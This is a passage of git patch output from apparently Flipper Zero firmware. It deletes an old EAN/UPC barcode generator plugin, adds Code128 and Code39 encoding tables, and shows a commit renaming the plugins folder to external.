barcodeTypes[1] = ean8; - - BarcodeType* ean13 = malloc(sizeof(BarcodeType)); - ean13->name = "EAN-13"; - ean13->numberOfDigits = 13; - ean13->startPos = 19; - ean13->bartype = BarTypeEAN13; - barcodeTypes[2] = ean13; -} - -void draw_digit( - Canvas* canvas, - int digit, - BarEncodingType rightHand, - int startingPosition, - bool drawlines) { - char digitStr[2]; - snprintf(digitStr, 2, "%u", digit); - canvas_set_color(canvas, ColorBlack); - canvas_draw_str( - canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, digitStr); - - if(drawlines) { - switch(rightHand) { - case BarEncodingTypeLeft: - case BarEncodingTypeRight: - canvas_set_color( - canvas, (rightHand == BarEncodingTypeRight) ? ColorBlack : ColorWhite); - //int count = 0; - for(int i = 0; i < 4; i++) { - canvas_draw_box( - canvas, startingPosition, BARCODE_Y_START, DIGITS[digit][i], BARCODE_HEIGHT); - canvas_invert_color(canvas); - startingPosition += DIGITS[digit][i]; - } - break; - case BarEncodingTypeG: - canvas_set_color(canvas, ColorWhite); - //int count = 0; - for(int i = 3; i >= 0; i--) { - canvas_draw_box( - canvas, startingPosition, BARCODE_Y_START, DIGITS[digit][i], BARCODE_HEIGHT); - canvas_invert_color(canvas); - startingPosition += DIGITS[digit][i]; - } - break; - default: - break; - } - } -} - -int get_digit_position(int index, BarcodeType* type) { - int pos = 0; - switch(type->bartype) { - case BarTypeEAN8: - case BarTypeUPCA: - pos = type->startPos + index * 7; - if(index >= type->numberOfDigits / 2) { - pos += 5; - } - break; - case BarTypeEAN13: - if(index == 0) - pos = type->startPos - 10; - else { - pos = type->startPos + (index - 1) * 7; - if((index - 1) >= type->numberOfDigits / 2) { - pos += 5; - } - } - break; - default: - break; - } - return pos; -} - -int get_menu_text_location(int index) { - return 20 + 10 * index; -} - -int get_barcode_max_index(PluginState* plugin_state) { - return plugin_state->barcode_state.doParityCalculation ? - barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]->numberOfDigits - 1 : - barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]->numberOfDigits; -} - -int calculate_check_digit(PluginState* plugin_state, BarcodeType* type) { - int checkDigit = 0; - int checkDigitOdd = 0; - int checkDigitEven = 0; - //add all odd positions. Confusing because 0index - for(int i = 0; i < type->numberOfDigits - 1; i += 2) { - checkDigitOdd += plugin_state->barcode_state.barcodeNumeral[i]; - } - - //add all even positions to above. Confusing because 0index - for(int i = 1; i < type->numberOfDigits - 1; i += 2) { - checkDigitEven += plugin_state->barcode_state.barcodeNumeral[i]; - } - - if(type->bartype == BarTypeEAN13) { - checkDigit = checkDigitEven * 3 + checkDigitOdd; - } else { - checkDigit = checkDigitOdd * 3 + checkDigitEven; - } - - checkDigit = checkDigit % 10; //mod 10 - - //if m = 0 then x12 = 0, otherwise x12 is 10 - m - return (10 - checkDigit) % 10; -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - if(plugin_state->mode == MenuMode) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "MENU"); - canvas_draw_frame(canvas, 50, 0, 29, 11); //box around Menu - canvas_draw_str_aligned( - canvas, 64, get_menu_text_location(0), AlignCenter, AlignCenter, "View"); - canvas_draw_str_aligned( - canvas, 64, get_menu_text_location(1), AlignCenter, AlignCenter, "Edit"); - canvas_draw_str_aligned( - canvas, 64, get_menu_text_location(2), AlignCenter, AlignCenter, "Parity?"); - - canvas_draw_frame(canvas, 83, get_menu_text_location(2) - 3, 6, 6); - if(plugin_state->barcode_state.doParityCalculation == true) { - canvas_draw_box(canvas, 85, get_menu_text_location(2) - 1, 2, 2); - } - canvas_draw_str_aligned( - canvas, - 64, - get_menu_text_location(3), - AlignCenter, - AlignCenter, - (barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex])->name); - canvas_draw_disc( - canvas, - 40, - get_menu_text_location(plugin_state->menuIndex) - 1, - 2); //draw menu cursor - } else { - BarcodeType* type = barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]; - - //start saftey - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, type->startPos - 3, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - canvas_draw_box(canvas, (type->startPos - 1), BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - - int startpos = 0; - int endpos = type->numberOfDigits; - if(type->bartype == BarTypeEAN13) { - startpos++; - draw_digit( - canvas, - plugin_state->barcode_state.barcodeNumeral[0], - BarEncodingTypeRight, - get_digit_position(0, barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]), - false); - } - if(plugin_state->barcode_state.doParityCalculation) { //calculate the check digit - plugin_state->barcode_state.barcodeNumeral[type->numberOfDigits - 1] = - calculate_check_digit(plugin_state, type); - } - for(int index = startpos; index < endpos; index++) { - BarEncodingType barEncodingType = BarEncodingTypeLeft; - if(type->bartype == BarTypeEAN13) { - if(index - 1 >= (type->numberOfDigits - 1) / 2) { - barEncodingType = BarEncodingTypeRight; - } else { - barEncodingType = - (FURI_BIT( - EAN13ENCODE[plugin_state->barcode_state.barcodeNumeral[0]], - index - 1)) ? - BarEncodingTypeG : - BarEncodingTypeLeft; - } - } else { - if(index >= type->numberOfDigits / 2) { - barEncodingType = BarEncodingTypeRight; - } - } - - int digitPosition = get_digit_position( - index, barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]); - draw_digit( - canvas, - plugin_state->barcode_state.barcodeNumeral[index], - barEncodingType, - digitPosition, - true); - } - - //central separator - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 62, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - canvas_draw_box(canvas, 64, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - - if(plugin_state->mode == EditMode) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, - get_digit_position( - plugin_state->editingIndex, - barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]) - - 1, - 63, - 7, - 1); //draw editing cursor - } - - //end safety - int endSafetyPosition = get_digit_position(type->numberOfDigits - 1, type) + 7; - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, endSafetyPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - canvas_draw_box(canvas, (endSafetyPosition + 2), BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - } - - furi_mutex_release(plugin_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void barcode_generator_state_init(PluginState* plugin_state) { - plugin_state->editingIndex = 0; - plugin_state->mode = ViewMode; - plugin_state->menuIndex = MENU_INDEX_VIEW; - if(!LOAD_BARCODE_SETTINGS(&plugin_state->barcode_state)) { - for(int i = 0; i < BARCODE_MAX_LENS; ++i) { - plugin_state->barcode_state.barcodeNumeral[i] = i % 10; - } - plugin_state->barcode_state.doParityCalculation = true; - plugin_state->barcode_state.barcodeTypeIndex = 0; - } -} - -static bool handle_key_press_view(InputKey key, PluginState* plugin_state) { - switch(key) { - case InputKeyOk: - case InputKeyBack: - plugin_state->mode = MenuMode; - break; - - default: - break; - } - - return true; -} - -static bool handle_key_press_edit(InputKey key, PluginState* plugin_state) { - int barcodeMaxIndex = get_barcode_max_index(plugin_state); - - switch(key) { - case InputKeyUp: - plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] = - (plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] + 1) % 10; - break; - - case InputKeyDown: - plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] = - (plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] == 0) ? - 9 : - plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] - 1; - break; - - case InputKeyRight: - plugin_state->editingIndex = (plugin_state->editingIndex + 1) % barcodeMaxIndex; - break; - - case InputKeyLeft: - plugin_state->editingIndex = (plugin_state->editingIndex == 0) ? - barcodeMaxIndex - 1 : - plugin_state->editingIndex - 1; - break; - - case InputKeyOk: - case InputKeyBack: - plugin_state->mode = MenuMode; - break; - - default: - break; - } - - return true; -} - -static bool handle_key_press_menu(InputKey key, PluginState* plugin_state) { - switch(key) { - case InputKeyUp: - plugin_state->menuIndex = (plugin_state->menuIndex == MENU_INDEX_VIEW) ? - MENU_INDEX_TYPE : - plugin_state->menuIndex - 1; - break; - - case InputKeyDown: - plugin_state->menuIndex = (plugin_state->menuIndex + 1) % 4; - break; - - case InputKeyRight: - if(plugin_state->menuIndex == MENU_INDEX_TYPE) { - plugin_state->barcode_state.barcodeTypeIndex = - (plugin_state->barcode_state.barcodeTypeIndex == NUMBER_OF_BARCODE_TYPES - 1) ? - 0 : - plugin_state->barcode_state.barcodeTypeIndex + 1; - } else if(plugin_state->menuIndex == MENU_INDEX_PARITY) { - plugin_state->barcode_state.doParityCalculation = - !plugin_state->barcode_state.doParityCalculation; - } - break; - case InputKeyLeft: - if(plugin_state->menuIndex == MENU_INDEX_TYPE) { - plugin_state->barcode_state.barcodeTypeIndex = - (plugin_state->barcode_state.barcodeTypeIndex == 0) ? - NUMBER_OF_BARCODE_TYPES - 1 : - plugin_state->barcode_state.barcodeTypeIndex - 1; - } else if(plugin_state->menuIndex == MENU_INDEX_PARITY) { - plugin_state->barcode_state.doParityCalculation = - !plugin_state->barcode_state.doParityCalculation; - } - break; - - case InputKeyOk: - if(plugin_state->menuIndex == MENU_INDEX_VIEW) { - plugin_state->mode = ViewMode; - } else if(plugin_state->menuIndex == MENU_INDEX_EDIT) { - plugin_state->mode = EditMode; - } else if(plugin_state->menuIndex == MENU_INDEX_PARITY) { - plugin_state->barcode_state.doParityCalculation = - !plugin_state->barcode_state.doParityCalculation; - } else if(plugin_state->menuIndex == MENU_INDEX_TYPE) { - plugin_state->barcode_state.barcodeTypeIndex = - (plugin_state->barcode_state.barcodeTypeIndex == NUMBER_OF_BARCODE_TYPES - 1) ? - 0 : - plugin_state->barcode_state.barcodeTypeIndex + 1; - } - break; - - case InputKeyBack: - return false; - - default: - break; - } - int barcodeMaxIndex = get_barcode_max_index(plugin_state); - if(plugin_state->editingIndex >= barcodeMaxIndex) - plugin_state->editingIndex = barcodeMaxIndex - 1; - - return true; -} - -int32_t barcode_generator_app(void* p) { - UNUSED(p); - - init_types(); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - PluginState* plugin_state = malloc(sizeof(PluginState)); - barcode_generator_state_init(plugin_state); - - plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!plugin_state->mutex) { - FURI_LOG_E("barcode_generator", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(plugin_state); - return 255; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, plugin_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey && - ((event.input.type == InputTypePress) || (event.input.type == InputTypeRepeat))) { - switch(plugin_state->mode) { - case ViewMode: - processing = handle_key_press_view(event.input.key, plugin_state); - break; - case EditMode: - processing = handle_key_press_edit(event.input.key, plugin_state); - break; - case MenuMode: - processing = handle_key_press_menu(event.input.key, plugin_state); - break; - default: - break; - } - } - } - - view_port_update(view_port); - furi_mutex_release(plugin_state->mutex); - } - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(plugin_state->mutex); - // save settings - SAVE_BARCODE_SETTINGS(&plugin_state->barcode_state); - free(plugin_state); - - return 0; -} diff --git a/applications/plugins/barcode_generator/barcode_generator.h b/applications/plugins/barcode_generator/barcode_generator.h deleted file mode 100644 index 5d2c8307e..000000000 --- a/applications/plugins/barcode_generator/barcode_generator.h +++ /dev/null @@ -1,115 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include - -#define BARCODE_SETTINGS_FILE_NAME "apps/Misc/barcodegen.save" - -#define BARCODE_SETTINGS_VER (1) -#define BARCODE_SETTINGS_PATH EXT_PATH(BARCODE_SETTINGS_FILE_NAME) -#define BARCODE_SETTINGS_MAGIC (0xC2) - -#define SAVE_BARCODE_SETTINGS(x) \ - saved_struct_save( \ - BARCODE_SETTINGS_PATH, \ - (x), \ - sizeof(BarcodeState), \ - BARCODE_SETTINGS_MAGIC, \ - BARCODE_SETTINGS_VER) - -#define LOAD_BARCODE_SETTINGS(x) \ - saved_struct_load( \ - BARCODE_SETTINGS_PATH, \ - (x), \ - sizeof(BarcodeState), \ - BARCODE_SETTINGS_MAGIC, \ - BARCODE_SETTINGS_VER) - -#define BARCODE_HEIGHT 50 -#define BARCODE_Y_START 3 -#define BARCODE_TEXT_OFFSET 9 -#define BARCODE_MAX_LENS 13 -#define NUMBER_OF_BARCODE_TYPES 3 -#define MENU_INDEX_VIEW 0 -#define MENU_INDEX_EDIT 1 -#define MENU_INDEX_PARITY 2 -#define MENU_INDEX_TYPE 3 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef enum { - ViewMode, - EditMode, - MenuMode, -} Mode; - -typedef enum { - BarEncodingTypeLeft, - BarEncodingTypeRight, - BarEncodingTypeG, -} BarEncodingType; - -typedef enum { - BarTypeEAN8, - BarTypeUPCA, - BarTypeEAN13, -} BarType; - -typedef struct { - char* name; - int numberOfDigits; - int startPos; - BarType bartype; -} BarcodeType; - -typedef struct { - int barcodeNumeral[BARCODE_MAX_LENS]; //The current barcode number - bool doParityCalculation; //Should do parity check? - int barcodeTypeIndex; -} BarcodeState; - -typedef struct { - FuriMutex* mutex; - BarcodeState barcode_state; - int editingIndex; //The index of the editing symbol - int menuIndex; //The index of the menu cursor - Mode mode; //View, edit or menu -} PluginState; - -static const int DIGITS[10][4] = { - {3, 2, 1, 1}, - {2, 2, 2, 1}, - {2, 1, 2, 2}, - {1, 4, 1, 1}, - {1, 1, 3, 2}, - {1, 2, 3, 1}, - {1, 1, 1, 4}, - {1, 3, 1, 2}, - {1, 2, 1, 3}, - {3, 1, 1, 2}, -}; - -static const uint8_t EAN13ENCODE[10] = { - 0b000000, - 0b110100, - 0b101100, - 0b011100, - 0b110010, - 0b100110, - 0b001110, - 0b101010, - 0b011010, - 0b010110, -}; \ No newline at end of file diff --git a/assets/resources/apps_data/barcode_data/code128_encodings.txt b/assets/resources/apps_data/barcode_data/code128_encodings.txt new file mode 100644 index 000000000..394a34520 --- /dev/null +++ b/assets/resources/apps_data/barcode_data/code128_encodings.txt @@ -0,0 +1,202 @@ + : 00 +!: 01 +": 02 +#: 03 +$: 04 +%: 05 +&: 06 +': 07 +(: 08 +): 09 +*: 10 ++: 11 +,: 12 +-: 13 +.: 14 +/: 15 +0: 16 +1: 17 +2: 18 +3: 19 +4: 20 +5: 21 +6: 22 +7: 23 +8: 24 +9: 25 +:: 26 +;: 27 +<: 28 +=: 29 +>: 30 +?: 31 +@: 32 +A: 33 +B: 34 +C: 35 +D: 36 +E: 37 +F: 38 +G: 39 +H: 40 +I: 41 +J: 42 +K: 43 +L: 44 +M: 45 +N: 46 +O: 47 +P: 48 +Q: 49 +R: 50 +S: 51 +T: 52 +U: 53 +V: 54 +W: 55 +X: 56 +Y: 57 +Z: 58 +[: 59 +\: 60 +]: 61 +^: 62 +_: 63 +`: 64 +a: 65 +b: 66 +c: 67 +d: 68 +e: 69 +f: 70 +g: 71 +h: 72 +i: 73 +j: 74 +k: 75 +l: 76 +m: 77 +n: 78 +o: 79 +p: 80 +q: 81 +r: 82 +s: 83 +t: 84 +u: 85 +v: 86 +w: 87 +x: 88 +y: 89 +z: 90 +{: 91 +|: 92 +}: 93 +~: 94 + +00: 11011001100 +01: 11001101100 +02: 11001100110 +03: 10010011000 +04: 10010001100 +05: 10001001100 +06: 10011001000 +07: 10011000100 +08: 10001100100 +09: 11001001000 +10: 11001000100 +11: 11000100100 +12: 10110011100 +13: 10011011100 +14: 10011001110 +15: 10111001100 +16: 10011101100 +17: 10011100110 +18: 11001110010 +19: 11001011100 +20: 11001001110 +21: 11011100100 +22: 11001110100 +23: 11101101110 +24: 11101001100 +25: 11100101100 +26: 11100100110 +27: 11101100100 +28: 11100110100 +29: 11100110010 +30: 11011011000 +31: 11011000110 +32: 11000110110 +33: 10100011000 +34: 10001011000 +35: 10001000110 +36: 10110001000 +37: 10001101000 +38: 10001100010 +39: 11010001000 +40: 11000101000 +41: 11000100010 +42: 10110111000 +43: 10110001110 +44: 10001101110 +45: 10111011000 +46: 10111000110 +47: 10001110110 +48: 11101110110 +49: 11010001110 +50: 11000101110 +51: 11011101000 +52: 11011100010 +53: 11011101110 +54: 11101011000 +55: 11101000110 +56: 11100010110 +57: 11101101000 +58: 11101100010 +59: 11100011010 +60: 11101111010 +61: 11001000010 +62: 11110001010 +63: 10100110000 +64: 10100001100 +65: 10010110000 +66: 10010000110 +67: 10000101100 +68: 10000100110 +69: 10110010000 +70: 10110000100 +71: 10011010000 +72: 10011000010 +73: 10000110100 +74: 10000110010 +75: 11000010010 +76: 11001010000 +77: 11110111010 +78: 11000010100 +79: 10001111010 +80: 10100111100 +81: 10010111100 +82: 10010011110 +83: 10111100100 +84: 10011110100 +85: 10011110010 +86: 11110100100 +87: 11110010100 +88: 11110010010 +89: 11011011110 +90: 11011110110 +91: 11110110110 +92: 10101111000 +93: 10100011110 +94: 10001011110 +95: 10111101000 +96: 10111100010 +97: 11110101000 +98: 11110100010 +99: 10111011110 +100: 10111101110 +101: 11101011110 +102: 11110101110 +103: 11010000100 +104: 11010010000 +105: 11010011100 \ No newline at end of file diff --git a/assets/resources/apps_data/barcode_data/code39_encodings.txt b/assets/resources/apps_data/barcode_data/code39_encodings.txt new file mode 100644 index 000000000..a41ad16e9 --- /dev/null +++ b/assets/resources/apps_data/barcode_data/code39_encodings.txt @@ -0,0 +1,44 @@ +0: 000110100 +1: 100100001 +2: 001100001 +3: 101100000 +4: 000110001 +5: 100110000 +6: 001110000 +7: 000100101 +8: 100100100 +9: 001100100 +A: 100001001 +B: 001001001 +C: 101001000 +D: 000011001 +E: 100011000 +F: 001011000 +G: 000001101 +H: 100001100 +I: 001001100 +J: 000011100 +K: 100000011 +L: 001000011 +M: 101000010 +N: 000010011 +O: 100010010 +P: 001010010 +Q: 000000111 +R: 100000110 +S: 001000110 +T: 000010110 +U: 110000001 +V: 011000001 +W: 111000000 +X: 010010001 +Y: 110010000 +Z: 011010000 +-: 010000101 +.: 110000100 + : 011000100 +*: 010010100 +$: 010101000 +/: 010100010 ++: 010001010 +%: 000101010 \ No newline at end of file From b34a4f246891b6ef880b8fb86db8adacb4e52e5d Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 17 Mar 2023 22:50:23 +0000 Subject: [PATCH 143/329] Rename plugins to external --- applications/debug/uart_echo/application.fam | 2 +- applications/{plugins => external}/airmouse/LICENSE | 0 .../{plugins => external}/airmouse/README.md | 0 .../{plugins => external}/airmouse/air_mouse.c | 0 .../{plugins => external}/airmouse/air_mouse.h | 0 .../{plugins => external}/airmouse/application.fam | 0 .../{plugins => external}/airmouse/mouse_10px.png | Bin .../airmouse/tracking/calibration_data.cc | 0 .../airmouse/tracking/calibration_data.h | 0 .../airmouse/tracking/imu/bmi160.c | 0 .../airmouse/tracking/imu/bmi160.h | 0 .../airmouse/tracking/imu/bmi160_defs.h | 0 .../airmouse/tracking/imu/imu.c | 0 .../airmouse/tracking/imu/imu.h | 0 .../airmouse/tracking/imu/imu_bmi160.c | 0 .../airmouse/tracking/imu/imu_lsm6ds3trc.c | 0 .../airmouse/tracking/imu/lsm6ds3tr_c_reg.c | 0 .../airmouse/tracking/imu/lsm6ds3tr_c_reg.h | 0 .../airmouse/tracking/main_loop.cc | 0 .../airmouse/tracking/main_loop.h | 0 .../airmouse/tracking/orientation_tracker.cc | 0 .../airmouse/tracking/orientation_tracker.h | 0 .../airmouse/tracking/sensors/accelerometer_data.h | 0 .../tracking/sensors/gyroscope_bias_estimator.cc | 0 .../tracking/sensors/gyroscope_bias_estimator.h | 0 .../airmouse/tracking/sensors/gyroscope_data.h | 0 .../airmouse/tracking/sensors/lowpass_filter.cc | 0 .../airmouse/tracking/sensors/lowpass_filter.h | 0 .../airmouse/tracking/sensors/mean_filter.cc | 0 .../airmouse/tracking/sensors/mean_filter.h | 0 .../airmouse/tracking/sensors/median_filter.cc | 0 .../airmouse/tracking/sensors/median_filter.h | 0 .../airmouse/tracking/sensors/pose_prediction.cc | 0 .../airmouse/tracking/sensors/pose_prediction.h | 0 .../airmouse/tracking/sensors/pose_state.h | 0 .../airmouse/tracking/sensors/sensor_fusion_ekf.cc | 0 .../airmouse/tracking/sensors/sensor_fusion_ekf.h | 0 .../airmouse/tracking/util/logging.h | 0 .../airmouse/tracking/util/matrix_3x3.cc | 0 .../airmouse/tracking/util/matrix_3x3.h | 0 .../airmouse/tracking/util/matrix_4x4.cc | 0 .../airmouse/tracking/util/matrix_4x4.h | 0 .../airmouse/tracking/util/matrixutils.cc | 0 .../airmouse/tracking/util/matrixutils.h | 0 .../airmouse/tracking/util/rotation.cc | 0 .../airmouse/tracking/util/rotation.h | 0 .../airmouse/tracking/util/vector.h | 0 .../airmouse/tracking/util/vectorutils.cc | 0 .../airmouse/tracking/util/vectorutils.h | 0 .../{plugins => external}/airmouse/views/bt_mouse.c | 0 .../{plugins => external}/airmouse/views/bt_mouse.h | 0 .../airmouse/views/calibration.c | 0 .../airmouse/views/calibration.h | 0 .../airmouse/views/usb_mouse.c | 0 .../airmouse/views/usb_mouse.h | 0 applications/{plugins => external}/application.fam | 0 .../{plugins => external}/arkanoid/application.fam | 0 .../arkanoid/arkanoid_10px.png | Bin .../{plugins => external}/arkanoid/arkanoid_game.c | 0 .../{plugins => external}/asteroids/LICENSE | 0 applications/{plugins => external}/asteroids/app.c | 0 .../{plugins => external}/asteroids/appicon.png | Bin .../{plugins => external}/asteroids/application.fam | 0 .../asteroids/assets/ammo_10x10.png | Bin .../asteroids/assets/ammo_11x11.png | Bin .../asteroids/assets/firepower_12x12.png | Bin .../asteroids/assets/firepower_9x10.png | Bin .../asteroids/assets/firepower_shifted_9x10.png | Bin .../asteroids/assets/heart_10x10.png | Bin .../asteroids/assets/heart_12x12.png | Bin .../asteroids/assets/nuke_10x10.png | Bin .../asteroids/assets/shield-frame.png | Bin .../asteroids/assets/shield_clean.png | Bin .../asteroids/assets/split_shield_10x10.png | Bin .../{plugins => external}/barcode_gen/LICENSE | 0 .../barcode_gen/application.fam | 0 .../{plugins => external}/barcode_gen/barcode_app.c | 0 .../{plugins => external}/barcode_gen/barcode_app.h | 0 .../barcode_gen/barcode_utils.c | 0 .../barcode_gen/barcode_utils.h | 0 .../barcode_gen/barcode_validator.c | 0 .../barcode_gen/barcode_validator.h | 0 .../{plugins => external}/barcode_gen/encodings.c | 0 .../{plugins => external}/barcode_gen/encodings.h | 0 .../barcode_gen/images/barcode_10.png | Bin .../barcode_gen/views/barcode_view.c | 0 .../barcode_gen/views/barcode_view.h | 0 .../barcode_gen/views/create_view.c | 0 .../barcode_gen/views/create_view.h | 0 .../barcode_gen/views/message_view.c | 0 .../barcode_gen/views/message_view.h | 0 .../{plugins => external}/blackjack/application.fam | 0 .../blackjack/assets/blackjack.png | Bin .../blackjack/assets/card_graphics.png | Bin .../blackjack/assets/endscreen.png | Bin .../{plugins => external}/blackjack/blackjack.c | 0 .../blackjack/blackjack_10px.png | Bin .../{plugins => external}/blackjack/common/card.c | 0 .../{plugins => external}/blackjack/common/card.h | 0 .../{plugins => external}/blackjack/common/dml.c | 0 .../{plugins => external}/blackjack/common/dml.h | 0 .../{plugins => external}/blackjack/common/menu.c | 0 .../{plugins => external}/blackjack/common/menu.h | 0 .../{plugins => external}/blackjack/common/queue.c | 0 .../{plugins => external}/blackjack/common/queue.h | 0 .../{plugins => external}/blackjack/common/ui.c | 0 .../{plugins => external}/blackjack/common/ui.h | 0 .../{plugins => external}/blackjack/defines.h | 0 applications/{plugins => external}/blackjack/ui.c | 0 applications/{plugins => external}/blackjack/ui.h | 0 applications/{plugins => external}/blackjack/util.c | 0 applications/{plugins => external}/blackjack/util.h | 0 .../{plugins => external}/bpmtapper/LICENSE | 0 .../{plugins => external}/bpmtapper/README.md | 0 .../{plugins => external}/bpmtapper/application.fam | 0 applications/{plugins => external}/bpmtapper/bpm.c | 0 .../{plugins => external}/bpmtapper/bpm_10px.png | Bin .../bpmtapper/icons/DolphinCommon_56x48.png | Bin .../bpmtapper/images/DolphinCommon_56x48.png | Bin .../bpmtapper/img/screenshot.png | Bin .../{plugins => external}/brainfuck/application.fam | 0 .../{plugins => external}/brainfuck/bfico.png | Bin .../{plugins => external}/brainfuck/brainfuck.c | 0 .../{plugins => external}/brainfuck/brainfuck.h | 0 .../{plugins => external}/brainfuck/brainfuck_i.h | 0 .../brainfuck/icons/ButtonRightSmall_3x5.png | Bin .../brainfuck/icons/KeyBackspaceSelected_24x11.png | Bin .../brainfuck/icons/KeyBackspace_24x11.png | Bin .../brainfuck/icons/KeyInputSelected_30x11.png | Bin .../brainfuck/icons/KeyInput_30x11.png | Bin .../brainfuck/icons/KeyRunSelected_24x11.png | Bin .../brainfuck/icons/KeyRun_24x11.png | Bin .../brainfuck/icons/KeySaveSelected_24x11.png | Bin .../brainfuck/icons/KeySave_24x11.png | Bin .../{plugins => external}/brainfuck/icons/bfico.png | Bin .../brainfuck/scenes/brainfuck_scene.c | 0 .../brainfuck/scenes/brainfuck_scene.h | 0 .../brainfuck/scenes/brainfuck_scene_config.h | 0 .../brainfuck/scenes/brainfuck_scene_dev.c | 0 .../brainfuck/scenes/brainfuck_scene_exec.c | 0 .../brainfuck/scenes/brainfuck_scene_file_create.c | 0 .../brainfuck/scenes/brainfuck_scene_file_select.c | 0 .../brainfuck/scenes/brainfuck_scene_set_input.c | 0 .../brainfuck/scenes/brainfuck_scene_start.c | 0 .../brainfuck/views/bf_dev_env.c | 0 .../brainfuck/views/bf_dev_env.h | 0 .../{plugins => external}/brainfuck/worker.c | 0 .../{plugins => external}/brainfuck/worker.h | 0 .../{plugins => external}/caesarcipher/LICENSE | 0 .../{plugins => external}/caesarcipher/README.md | 0 .../caesarcipher/application.fam | 2 +- .../caesarcipher/caesar_cipher.c | 0 .../caesarcipher/caesar_cipher_icon.png | Bin .../{plugins => external}/caesarcipher/img/1.png | Bin .../{plugins => external}/caesarcipher/img/2.png | Bin .../calculator/application.fam | 0 .../{plugins => external}/calculator/calc.png | Bin .../{plugins => external}/calculator/calcIcon.png | Bin .../{plugins => external}/calculator/calculator.c | 0 .../{plugins => external}/calculator/tinyexpr.c | 0 .../{plugins => external}/calculator/tinyexpr.h | 0 .../{plugins => external}/cli_bridge/.gitignore | 0 .../{plugins => external}/cli_bridge/LICENSE | 0 .../{plugins => external}/cli_bridge/README.md | 0 .../cli_bridge/application.fam | 0 .../{plugins => external}/cli_bridge/cli_control.c | 0 .../{plugins => external}/cli_bridge/cli_control.h | 0 .../{plugins => external}/cli_bridge/cligui.png | Bin .../{plugins => external}/cli_bridge/cligui_main.c | 0 .../cli_bridge/cligui_main_i.h | 0 .../cli_bridge/console_output.c | 0 .../cli_bridge/console_output.h | 0 .../cli_bridge/internal_defs.h | 0 .../{plugins => external}/cli_bridge/text_input.c | 0 .../{plugins => external}/cli_bridge/text_input.h | 0 .../{plugins => external}/cntdown_timer/README.md | 0 .../{plugins => external}/cntdown_timer/app.c | 0 .../{plugins => external}/cntdown_timer/app.h | 0 .../cntdown_timer/application.fam | 0 .../cntdown_timer/cntdown_timer.png | Bin .../cntdown_timer/utils/utils.c | 0 .../cntdown_timer/utils/utils.h | 0 .../cntdown_timer/views/countdown_view.c | 0 .../cntdown_timer/views/countdown_view.h | 0 .../{plugins => external}/counter/README.md | 0 .../{plugins => external}/counter/application.fam | 2 +- .../{plugins => external}/counter/counter.c | 0 .../counter/icons/counter_icon.png | Bin .../{plugins => external}/dap_link/README.md | 0 .../{plugins => external}/dap_link/application.fam | 2 +- .../{plugins => external}/dap_link/dap_config.h | 0 .../{plugins => external}/dap_link/dap_link.c | 0 .../{plugins => external}/dap_link/dap_link.h | 0 .../{plugins => external}/dap_link/dap_link.png | Bin .../{plugins => external}/dap_link/gui/dap_gui.c | 0 .../{plugins => external}/dap_link/gui/dap_gui.h | 0 .../dap_link/gui/dap_gui_custom_event.h | 0 .../{plugins => external}/dap_link/gui/dap_gui_i.h | 0 .../dap_link/gui/scenes/config/dap_scene.c | 0 .../dap_link/gui/scenes/config/dap_scene.h | 0 .../dap_link/gui/scenes/config/dap_scene_config.h | 0 .../dap_link/gui/scenes/dap_scene_about.c | 0 .../dap_link/gui/scenes/dap_scene_config.c | 0 .../dap_link/gui/scenes/dap_scene_help.c | 0 .../dap_link/gui/scenes/dap_scene_main.c | 0 .../dap_link/gui/views/dap_main_view.c | 0 .../dap_link/gui/views/dap_main_view.h | 0 .../dap_link/icons/ActiveConnection_50x64.png | Bin 